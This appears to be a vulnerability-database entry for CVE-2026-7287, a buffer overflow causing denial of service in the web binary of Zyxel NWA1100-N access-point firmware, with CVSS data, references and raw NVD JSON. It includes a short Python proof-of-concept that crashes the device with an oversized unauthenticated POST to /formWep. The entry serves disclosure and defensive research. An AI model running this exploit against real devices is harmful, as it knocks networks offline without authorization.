CVE-2026-7287

Description

** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Zyxel NWA1100-N Customized Firmware 1.00(AACE.1)C0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target IP address of the vulnerable device
target_ip = "192.168.1.1"

# Vulnerable endpoint example (formWep function)
url = f"http://{target_ip}/formWep"

# Malicious payload: A long string to trigger buffer overflow
# The specific length may vary, 1000 bytes is a common test size
payload = {
    "key": "A" * 1000
}

try:
    print(f"Sending exploit request to {url}...")
    # Sending POST request without authentication
    response = requests.post(url, data=payload, timeout=10)
    print(f"Request sent. Status Code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Connection failed or timed out. Device may have crashed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7287
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7287
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7287/
[4] VulDB https://vuldb.com/cve/CVE-2026-7287
[5] https://www.zyxel.com/global/en/support/end-of-life

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7287", "sourceIdentifier": "[email protected]", "published": "2026-05-12T04:16:29.637", "lastModified": "2026-05-12T04:16:29.637", "vulnStatus": "Received", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://www.zyxel.com/global/en/support/end-of-life", "source": "[email protected]"}]}}